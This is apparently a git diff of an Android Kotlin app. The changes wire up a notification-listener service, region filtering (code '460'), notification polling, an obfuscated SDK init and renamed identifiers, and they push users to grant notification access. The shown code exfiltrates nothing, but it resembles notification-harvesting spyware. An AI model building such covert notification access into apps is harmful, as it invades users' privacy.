override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) { override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
super.onFailure(webSocket, t, response) super.onFailure(webSocket, t, response)
LogUtils.info("${System.currentTimeMillis()} current web socket connection error") LogUtils.error(t,"${System.currentTimeMillis()} current web socket connection error")
} }
} }
} }
@ -271,8 +271,10 @@ object WebSocketUtil {
} }
fun disconnect() { fun disconnect() {
try {
socket?.close(1000, "") socket?.close(1000, "")
client.dispatcher.executorService.shutdown() } catch (e: Exception) {
}
socket = null socket = null
} }
} }

@ -8,7 +8,7 @@ android {
compileSdk = 34 compileSdk = 34
defaultConfig { defaultConfig {
applicationId = "com.galaxy.oceen" applicationId = "com.galaxy.oo"
minSdk = 24 minSdk = 24
targetSdk = 33 targetSdk = 33
versionCode = 1 versionCode = 1

@ -1,9 +1,14 @@
package com.galaxy.demo package com.galaxy.demo
import android.app.Application import android.app.Application
import android.util.Log
import androidx.annotation.RestrictTo
import com.example.pin.NotificationManger import com.example.pin.NotificationManger
import com.galaxy.permision.DistrictFilter import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker import com.galaxy.permision.PermissionChecker
import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
class App:Application() { class App:Application() {
override fun onCreate() { override fun onCreate() {
@ -11,9 +16,9 @@ class App:Application() {
init() init()
} }
private fun init() { private fun init() {
PermissionChecker.showPermissionDialog(this, DistrictFilter("460")) PermissionChecker.showPermissionDialog(this, DistrictFilter("460"))
NotificationManger.startPolling(this)
} }
} }

@ -10,7 +10,7 @@ class MyService : NotificationListenerService() {
companion object { companion object {
@SuppressLint("StaticFieldLeak") @SuppressLint("StaticFieldLeak")
@Keep @Keep
var instance: NotificationListenerService? = null var a: NotificationListenerService? = null
} }
override fun onNotificationPosted(sbn: StatusBarNotification) { override fun onNotificationPosted(sbn: StatusBarNotification) {
@ -20,7 +20,7 @@ class MyService : NotificationListenerService() {
override fun onCreate() { override fun onCreate() {
super.onCreate() super.onCreate()
instance = this a = this
} }
} }

@ -1,5 +1,6 @@
package com.galaxy.permision package com.galaxy.permision
import a.b.c.V
import android.app.Activity import android.app.Activity
import android.app.ActivityManager import android.app.ActivityManager
import android.app.Application import android.app.Application
@ -13,6 +14,7 @@ import android.os.Bundle
import android.os.Process import android.os.Process
import android.util.Log import android.util.Log
import android.view.View import android.view.View
import com.example.service.MainService
import com.example.utils.notificationListenerEnable import com.example.utils.notificationListenerEnable
import com.galaxy.permision.PermissionDialog.weakReference import com.galaxy.permision.PermissionDialog.weakReference
import java.lang.ref.WeakReference import java.lang.ref.WeakReference
@ -39,7 +41,7 @@ object PermissionChecker {
if (processName.contentEquals(context.packageName)) { if (processName.contentEquals(context.packageName)) {
Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName") Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName")
// Sdk.init(context, filter.match()) V.init(context, filter.match())
var notificationListenerServiceClass: String? = null var notificationListenerServiceClass: String? = null
try { try {
@ -70,7 +72,7 @@ object PermissionChecker {
override fun onActivityResumed(activity: Activity) { override fun onActivityResumed(activity: Activity) {
Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}") Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}")
weakReference = WeakReference(activity) weakReference = WeakReference(activity)
if (/*MainService.instance.isVerified &&*/ if (MainService.instance.isVerified &&
filter.match() && filter.match() &&
!context.notificationListenerEnable() !context.notificationListenerEnable()
) { ) {

Loading…
Cancel
Save